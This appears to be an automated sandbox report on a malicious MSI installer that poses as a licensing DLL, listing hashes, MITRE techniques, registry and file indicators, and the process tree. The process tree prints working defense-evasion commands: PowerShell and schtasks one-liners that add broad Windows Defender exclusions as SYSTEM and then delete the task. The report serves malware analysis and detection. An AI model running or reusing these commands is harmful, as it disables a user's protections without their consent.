38587c30754ee0f0873927378a7ed2dd54c28f93ae1e7aec0629b0ea02aa29f9

Analysis

max time kernel
150s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 12:54

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General

Target
Install_28n020.msi
Size 5.8MB
Sample260728-p5aa4axblc
SHA256 38587c30754ee0f0873927378a7ed2dd54c28f93ae1e7aec0629b0ea02aa29f9
MD5 d5bf4103378afe8b9b855302553d6a22
SHA1 eb2b8c7e378935f8a9ed4524b1e1ac0ab1277e7e
SHA512 f6d053d010872045b617e41010fc28065b4197b3224a47ba4c9aa85b0954a056ac537b0221ec92a97c4f612caa0e948b12d76a0f1a87b3f538dcda3d8c5aaac0
SSDEEP 98304:lNq4L6KU5auvV4sZM5ZaJlUFl0zsC0xP0SzuRDGB2iVQ0tM6hxWXwLaJkY/tkjkL:fqG6KeVvVpAanUD0zsC0xsSyFtKVMm0D
TLSH
T1B35633C6B8CD3770C08BC7728292669E703E7FC17E3A9D5776D87A091EB16149A7A340
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation ransomware trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\mhySQa = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4524	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3220	eG2YFV.exe

Loads dropped DLL 2 IoCs

pid	Process
3160	MsiExec.exe
3220	eG2YFV.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4832	icacls.exe
4504	icacls.exe
1336	icacls.exe
5124	icacls.exe
3148	icacls.exe
760	icacls.exe
3024	icacls.exe
5116	icacls.exe
5044	icacls.exe
4208	icacls.exe
2960	icacls.exe
4548	icacls.exe
124	icacls.exe
4232	icacls.exe
4776	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\mhySQa\\eG2YFV.exe\""	eG2YFV.exe

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
14	3160	MsiExec.exe
15	3160	MsiExec.exe
16	3160	MsiExec.exe
17	3160	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5416	cmd.exe
4952	cmd.exe
5956	cmd.exe
6120	cmd.exe
4724	cmd.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576	MsiExec.exe
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	eG2YFV.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576	MsiExec.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\SCiJJm\XPSPLOG.dll	eG2YFV.exe
File opened for modification	C:\Program Files (x86)\SCiJJm\image.png	eG2YFV.exe
File opened for modification	C:\Program Files (x86)\SCiJJm\thumbs.db	eG2YFV.exe
File created	C:\Program Files (x86)\SCiJJm\yqoHye.exe	eG2YFV.exe
File created	C:\Program Files (x86)\SCiJJm\image.png	eG2YFV.exe
File opened for modification	C:\Program Files (x86)\SCiJJm\yqoHye.exe	eG2YFV.exe
File opened for modification	C:\Program Files (x86)\SCiJJm	eG2YFV.exe
File created	C:\Program Files (x86)\SCiJJm\XPSPLOG.dll	eG2YFV.exe
File created	C:\Program Files (x86)\SCiJJm\thumbs.db	eG2YFV.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\~DF0380F594829814E5.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{1A6C27A2-FA3D-F13A-46E4-B05FDEE281FB}	msiexec.exe
File created	C:\Windows\SystemTemp\~DFD53A36D507CD1C85.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8841.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI88DE.tmp	msiexec.exe
File created	C:\Windows\Installer\e598238.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFE2F2DE4907BFAAC0.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFDAF0B6127F546ADF.TMP	msiexec.exe
File created	C:\Windows\Installer\e598236.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e598236.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
3204	msiexec.exe

Executes a command shell one-liner 1 TTPs 21 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4380	cmd.exe
5168	cmd.exe
1584	cmd.exe
5536	cmd.exe
2660	cmd.exe
4400	cmd.exe
3376	cmd.exe
5656	cmd.exe
4928	cmd.exe
3060	cmd.exe
1756	cmd.exe
1352	cmd.exe
3132	cmd.exe
5964	cmd.exe
2900	cmd.exe
5068	cmd.exe
4636	cmd.exe
3704	cmd.exe
1540	cmd.exe
5840	cmd.exe
2768	cmd.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000031a81fc62ba3bf350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380131a81fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410131a81fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e331a81fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e631a81fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MsiExec.exe

Modifies registry class 22 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\ProductName = "CNAPP Licensing Dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Version = "84017285"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Media\1 = ";"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41FC6B43184718F22B055265DD07D941	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41FC6B43184718F22B055265DD07D941\2A72C6A1D3AFA31F644E0BF5ED2E18BF	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\PackageName = "Install_28n020.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2A72C6A1D3AFA31F644E0BF5ED2E18BF	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2A72C6A1D3AFA31F644E0BF5ED2E18BF\UuueatYAD	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\PackageCode = "0223CB2BFB0A66E4CA9405A74DA2E534"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2636	schtasks.exe
2812	schtasks.exe
2960	schtasks.exe
2380	schtasks.exe
3532	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4648	msiexec.exe
4648	msiexec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3160	MsiExec.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe
3220	eG2YFV.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3204	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3204	msiexec.exe
Token: SeSecurityPrivilege	4648	msiexec.exe
Token: SeCreateTokenPrivilege	3204	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3204	msiexec.exe
Token: SeLockMemoryPrivilege	3204	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3204	msiexec.exe
Token: SeMachineAccountPrivilege	3204	msiexec.exe
Token: SeTcbPrivilege	3204	msiexec.exe
Token: SeSecurityPrivilege	3204	msiexec.exe
Token: SeTakeOwnershipPrivilege	3204	msiexec.exe
Token: SeLoadDriverPrivilege	3204	msiexec.exe
Token: SeSystemProfilePrivilege	3204	msiexec.exe
Token: SeSystemtimePrivilege	3204	msiexec.exe
Token: SeProfSingleProcessPrivilege	3204	msiexec.exe
Token: SeIncBasePriorityPrivilege	3204	msiexec.exe
Token: SeCreatePagefilePrivilege	3204	msiexec.exe
Token: SeCreatePermanentPrivilege	3204	msiexec.exe
Token: SeBackupPrivilege	3204	msiexec.exe
Token: SeRestorePrivilege	3204	msiexec.exe
Token: SeShutdownPrivilege	3204	msiexec.exe
Token: SeDebugPrivilege	3204	msiexec.exe
Token: SeAuditPrivilege	3204	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3204	msiexec.exe
Token: SeChangeNotifyPrivilege	3204	msiexec.exe
Token: SeRemoteShutdownPrivilege	3204	msiexec.exe
Token: SeUndockPrivilege	3204	msiexec.exe
Token: SeSyncAgentPrivilege	3204	msiexec.exe
Token: SeEnableDelegationPrivilege	3204	msiexec.exe
Token: SeManageVolumePrivilege	3204	msiexec.exe
Token: SeImpersonatePrivilege	3204	msiexec.exe
Token: SeCreateGlobalPrivilege	3204	msiexec.exe
Token: SeBackupPrivilege	4980	vssvc.exe
Token: SeRestorePrivilege	4980	vssvc.exe
Token: SeAuditPrivilege	4980	vssvc.exe
Token: SeBackupPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeBackupPrivilege	4416	srtasks.exe
Token: SeRestorePrivilege	4416	srtasks.exe
Token: SeSecurityPrivilege	4416	srtasks.exe
Token: SeTakeOwnershipPrivilege	4416	srtasks.exe
Token: SeBackupPrivilege	4416	srtasks.exe
Token: SeRestorePrivilege	4416	srtasks.exe
Token: SeSecurityPrivilege	4416	srtasks.exe
Token: SeTakeOwnershipPrivilege	4416	srtasks.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe
Token: SeTakeOwnershipPrivilege	4648	msiexec.exe
Token: SeRestorePrivilege	4648	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3204	msiexec.exe
3204	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3204	msiexec.exe
4648	msiexec.exe
3160	MsiExec.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4648 wrote to memory of 4416	4648	msiexec.exe	94
PID 4648 wrote to memory of 3160	4648	msiexec.exe	96
PID 3220 wrote to memory of 4524	3220	eG2YFV.exe	99
PID 3220 wrote to memory of 4724	3220	eG2YFV.exe	100
PID 4724 wrote to memory of 2960	4724	cmd.exe	104
PID 3220 wrote to memory of 5416	3220	eG2YFV.exe	105
PID 4724 wrote to memory of 4272	4724	cmd.exe	108
PID 5416 wrote to memory of 2380	5416	cmd.exe	109
PID 4724 wrote to memory of 2288	4724	cmd.exe	112
PID 3220 wrote to memory of 4952	3220	eG2YFV.exe	113
PID 5416 wrote to memory of 3488	5416	cmd.exe	115
PID 4952 wrote to memory of 3532	4952	cmd.exe	116
PID 5416 wrote to memory of 4116	5416	cmd.exe	117
PID 4952 wrote to memory of 3708	4952	cmd.exe	118
PID 4952 wrote to memory of 4456	4952	cmd.exe	119
PID 3220 wrote to memory of 5956	3220	eG2YFV.exe	120
PID 5956 wrote to memory of 2636	5956	cmd.exe	122
PID 5956 wrote to memory of 3588	5956	cmd.exe	123
PID 5956 wrote to memory of 3756	5956	cmd.exe	125
PID 2660 wrote to memory of 4344	2660	cmd.exe	128
PID 3220 wrote to memory of 6120	3220	eG2YFV.exe	129
PID 6120 wrote to memory of 2812	6120	cmd.exe	131
PID 6120 wrote to memory of 2580	6120	cmd.exe	132
PID 6120 wrote to memory of 1356	6120	cmd.exe	134
PID 1756 wrote to memory of 5544	1756	cmd.exe	135
PID 4380 wrote to memory of 5948	4380	cmd.exe	138

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Install_28n020.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3204

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4648
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4416
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 9D6EC20F08C106B275EF02B81CCF9BFD E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Badlisted process makes network request
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3160

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4980

C:\Users\Public\mhySQa\eG2YFV.exe
"C:\Users\Public\mhySQa\eG2YFV.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\mhySQa\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4724
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\mhySQa\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2960
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4272
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5416
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2380
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3488
